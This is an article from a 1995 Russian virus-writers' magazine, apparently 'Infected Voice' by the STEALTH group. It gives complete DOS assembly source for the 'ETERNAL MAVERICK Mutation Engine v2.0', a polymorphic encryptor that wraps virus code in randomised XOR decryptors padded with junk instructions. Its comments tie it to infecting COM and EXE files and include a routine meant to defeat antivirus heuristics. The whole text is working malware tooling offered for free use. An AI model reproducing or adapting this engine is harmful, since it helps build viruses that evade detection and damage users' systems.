      
          ▄▄                  █
         ▀▀▀ Monthly Magazine █ For VirMakers.                  APR '95
 	 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  ██▀▀▀██
	  ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   ██ ▀▀██
	   █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     ██ █ ██
	   █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  ██▄▄▄██
	   ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄
	     (C) Copyright, 1994-95, by STEALTH group, unLtd. 	

        .MODEL  TINY

        .CODE

        ORG     100H

;-----------------------------------------------------
;   Мне стыдно, но эта программа (именно программа,
;   а не MUTATION ENGINE!!!) содрана с демонстрации
;   PME (Burglar, Taiwan).  Приношу свои извинения
;   автору...
;   Для использования этой программы не нужно ничего
;   дополнительного. Откомпилируйте и запустите!!!
;
;				ETERNAL MAVERICK.
;-----------------------------------------------------

BEGIN:
        MOV     DX,OFFSET GEN_MSG
        MOV     AH,9
        INT     21H

        MOV     CX,10
GEN:
        PUSH    CX

        MOV     DX,OFFSET FILENAME
        PUSH    CS
        POP     DS
        XOR     CX,CX
        MOV     AH,3CH
        INT     21H

        PUSH    AX

        STR	  EQU OFFSET PROG
        VL	  EQU OFFSET PROG_END - OFFSET PROG
	FCONST    EQU OFFSET FILE_CON
	RES_INST  EQU OFFSET PATTERN

	PUSH    CS
	POP     DS

        PUSH    SS
        POP     AX
        ADD     AX,1000H
        MOV     ES,AX

	MOV	SI,OFFSET PATTERN

        CALL    MODUL

        POP     BX
	PUSH    ES
	POP     DS
	XOR     DX,DX
	MOV	CX,DI
        MOV     AH,40H
        INT     21H

        MOV     AH,3EH
        INT     21H

        MOV     BX,OFFSET FILENAME
        INC     BYTE PTR CS:[BX+7]

        POP     CX
        LOOP    GEN

        INT     20H

FILENAME DB     '00000000.COM',0

GEN_MSG DB      'Generating 10 mutation programs... $'

PROG:
        CALL    SIGN_OFF
MSG 	   DB	'ETERNAL MAVERICK Mutation Engine v2.0.',0ah,0dh
	   DB	'For free use and distribution.','$'
FILE_CON   DW	100h
SIGN_OFF:
	POP     DX
        MOV     AH,9
        INT     21H
        INT     20H

;---------------------------------------------------------
;  Всё что идёт ниже и есть собственно MUTATION ENGINE!
;---------------------------------------------------------

MODUL   PROC NEAR
;---------------------------------------------------------
;	Процедура, создающая шифрованный модуль.
;	ПАРАМЕТРЫ ПРИ ВЫЗОВЕ:
;	ES - указывает на буфер необходимого размера.
;	DS - указывает на сегмент шифруемого кода.
;	SI - смещение PATTERN.
;	По смещению FCONST в сегменте DS находится CМЕЩЕНИЕ В ФАЙЛЕ
;	(объяснения того, что это такое, смотри ниже!!!)
;
;	НА ВЫХОДЕ:
;	По адресу ЕS:0 - зашифрованный код.
;	DI - длина этого кода.
;---------------------------------------------------------
	IN   AX,40h			; Загнать в AX псевдослучайное слово.
;---------------------------------------------------------
	MOV  BYTE PTR DS:[SI],0BEh	; Первый байт команды MOV SI,...
	MOV  BYTE PTR DS:[SI+0Ah],01Ch  ; Кусочек команды XOR word ptr [SI],BX
	MOV  BYTE PTR DS:[SI+0Bh],046h  ; INC SI
	MOV  BYTE PTR DS:[SI+0Dh],0EBh  ; Первый байт команды SUB BX,...
	MOV  BYTE PTR DS:[SI+0Fh],046h  ; INC SI
;---------------------------------------------------------
	TEST AH,00000001b
	JNZ  LET_SI			; Оставляем вариант инсталлятора с SI.
;--------------------------------------------------------------
; Пользуясь тем, что коды идут подряд, везде меняем SI на DI.
;--------------------------------------------------------------
	INC  BYTE PTR DS:[SI]
	INC  BYTE PTR DS:[SI+0Ah]
	INC  BYTE PTR DS:[SI+0Bh]
	INC  BYTE PTR DS:[SI+0Fh]
;----------------------------------------------------------------------
LET_SI:
	MOV  WORD PTR DS:[SI+07h],AX ; С этим словом будем XORить.
;----------------------------------------------------------------------
	MOV  BYTE PTR DS:[SI+0Eh],AL ; Байтик для команды SUB BX,X
	TEST AH,00000010b
	CBW			  ; Important!!!
	JNZ  LET_SUB		  ; Будем ли менять в инсталляторе SUB на ADD?
;---------------------------------------------------------
;	Замена с коррекцией магического числа.
;---------------------------------------------------------
	MOV  BYTE PTR DS:[SI+0Dh],0C3h
	NEG  AX
;---------------------------------------------------------
LET_SUB:
	PUSH AX			     ; Запомним то,что будем вычитать.

;---------------------------------------------------------
;	Cоздаём полиморфный код специально для WEBa...
;---------------------------------------------------------
	xor  di,di
	sub  si,0ch
	mov  cx,06h
	call init_ax	; В AX и DX - число генерируемых
			; после каждой команды случайных байт.
	inc  ax
	inc  ax
	mov  byte ptr ds:[si+07],al
anti:
	call poly
;---------------------------------------------------------
;	Команды OR AX,AX и JNZ XX должны следовать
;	непосредственно друг за другом,т.к. многие
;	"случайные" команды действуют на флаги...
;--------------------------------------------------------- 
	cmp  cx,4
	jne  not_glue
	movsw
;---------------------------------------------------------
not_glue:
	movsw	; Копируем очередное слово...
	loop anti
;-----------------------------------------------------
;	Так как мы скопировали на 1 слово больше,
;	необходимо скорректировать SI и DI.
;-----------------------------------------------------
	dec  di
	dec  di
	dec  si
	dec  si
;-----------------------------------------------------

	CALL INIT_AX

	ADD  WORD PTR DS:[SI+04h],AX ; А это, чтобы в инсталляторе не
				     ; встречались константы.

				     ; В AX - число "случайных" байт 
				     ; после каждых 3 неслучайных.

	POP  BX			     ; То, что будем вычитать...

	PUSH DI			     ; Запомним смещение начала расшифровщика.

	PUSH AX			     ; Запомним смещение MOV SI(DI),XX - 2
	PUSH BX			     ; Опять запомним...
;-----------------------------------------------------------
;	Вычисление адреса перехода для LOOP.
;-----------------------------------------------------------
	MOV  BL,0F7h
	SHL  AL,1
	SUB  BL,AL
	MOV  BYTE PTR DS:[SI+11h],BL ; LOOP
;-----------------------------------------------------------
	MOV  CX,07h		     ; Кол-во блоков cлучайные байты +
				     ; неслучайные.
COPY_0:
	CALL POLY	; Процедурка, генерирующая DX случайных байт.

;--------------------------------------------------------------------
;	Копируем очередные три байта инсталлятора.
;--------------------------------------------------------------------
	MOVSW
	MOVSB
;--------------------------------------------------------------------
	LOOP COPY_0

	POP  DX		; Слово, которое вычитаем.
	SUB  DI,03h	; Мы скопировали на 3 байта больше. Это надо исправить!
	PUSH DI		; Coхраним длину инсталлятора.
	MOV  SI,STR	; Cмещение шифруемого кода.
	MOV  CX,VL	; Длина шифруемого кода.
;---------------------------------------------------------------------
;	Шифруем код...
;---------------------------------------------------------------------
	MOV  BX,WORD PTR DS:[RES_INST+07h] ; В BX - то, с чем будем шифровать.
COPY_2:
	LODSW
	XOR  AX,BX
	STOSW
	SUB  BX,DX
	LOOP COPY_2
;----------------------------------------------------------------------

;-------------------------------
;	Заканчиваем модуль...	
;-------------------------------
	POP  DX					; В DX - длина инсталлятора.
	pop  bx
	pop  ax
	add  bx,ax
	ADD  DX,WORD PTR DS:[FCONST]		; прибавим смещение в файле....
;-----------------------------------------------------------------------
;	НЕОБХОДИМЫЕ ПОЯСНЕНИЯ.
;	Смещение в файле (для вирусов, записывающихся в конец):
;	СOM файл - длина файла + 100h;
;	EXE файл - Новое значение IP.
;-----------------------------------------------------------------------
	MOV  ES:[BX+01h],DX	; Результирующее смещение - в инсталлятор,
				; вместо того самого XX!
	RET
MODUL	ENDP

poly	proc near
	push cx
	push si
	call my_off		; Не пугайтесь - это НЕ рекурсия!
;----------------------------------------------------
data_1  db   045h,04dh,090h,0f5h,0f8h,0f9h,0fch,0fdh ; Однобайтовые команды.
data_2  db   03h,0bh,013h,01bh,023h,02bh,033h,08bh   ; Элементы двухбайтовых.
data_3  db   0c5h,0d5h,0e5h,0f5h,0cdh,0ddh,0edh,0fdh ; Элементы четырёхбайтовых.

	db   'ETERNAL MAVERICK mutation engine v 2.0.' ; (c) Не изменять!

;----------------------------------------------------
my_off:
	pop  si			; Теперь в SI - смещение data_1
	push di			; Запомним смещение, по которому будем
				; генерировать случайный код.
	mov  cx,dx		; Кол-во случайных байт.
;------------------------------------
;	Generate 1 byte commands
;------------------------------------
form_1:
	call init_bx
	mov  al,byte ptr ds:[bx+si]
	stosb
	loop form_1
;-------------------------------------
;	Generate 2 byte commands
;-------------------------------------
	add  si,08	; SI - указывает на data_2
	mov  cx,di	; В CX - точка "останова".
	pop  di		; Смещение, где генерируем случайный код.
	push di		; Запомним...
form_2:
	call init_bx
	test ah,00000010b
	jnz  poly_go_1	; Генерируем тут двухбайтовую команду или
			; оставляем однобайтовые?
	inc  di
	inc  di
	jmp  short poly_next
poly_go_1:
	mov  ax,0e800h
	add  ah,bl
	mov  al,byte ptr ds:[bx+si]
	stosw
poly_next:
	cmp  di,cx
	jb   form_2	; Если не дошли до точки останова, то продолжаем...
;-------------------------------------
;	Generate 4 byte commands
;-------------------------------------
	add  si,08h	; SI указывает на data_3.
	pop  di		; Cмещение, где генерируем случайный код.
form_3:
	call init_bx

	push cx
	sub  cx,di
	cmp  cx,4
	pop  cx

	jb   poly_stop ; Если меньше 4 байт до точки останова, то выход.

	test ah,00000001b
	jnz  poly_go_2	; Будем ли генерировать 4-х байтовую команду по
			; этому адресу?
	inc  di
	inc  di
	jmp  short form_3 ; Продолжаем...
poly_go_2:
	mov  al,81h
	mov  ah,byte ptr ds:[bx+si]
	stosw
	in   ax,40h	; Просто случайное слово!
	stosw
	jmp  short form_3
poly_stop:
	mov  di,cx	; Восстанавливаем DI, обязательно!
	pop  si
	pop  cx
	ret
poly	endp

init_ax proc near
;---------------------------------------------
;	Маленькая процедурка. Возвращает
;	в AX и DX -  кол-во генерируемых
;	"случайных" байт.
;---------------------------------------------
	in   ax,40h
	and  ax,00001111b
	inc  ax
	shl  al,1
	mov  dx,ax
	ret
init_ax endp

init_bx proc near
;---------------------------------------------
;	Процедурка, обеспечивающая в BX
;	псевдослучайное число от 0 до 7.
;---------------------------------------------
	in   ax,40h
	xor  bx,ax
	add  bx,di
	not  bx
	and  bx,00000111b
	ret
init_bx endp

antiweb:
;-------------------------------------------------
;	Следующие 7 команд хоронят надежды
;	пользователей на эвристический анализ ;-)
;-------------------------------------------------
	xor  ax,ax
	in   ax,20h
	or   ax,ax
	jnz  $+4
	int  20h
	push cs
	pop  ds
;---------------------------------------------
;	Шаблон инсталлятора.
;---------------------------------------------
PATTERN:
	MOV  DI,0
	MOV  CX,VL
	MOV  BX,0E0Fh
	XOR  WORD PTR DS:[DI],BX
	INC DI
	SUB BX,0
	INC DI
	DB  0E2h,00h
;---------------------------------------------
PROG_END:
	END BEGIN
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
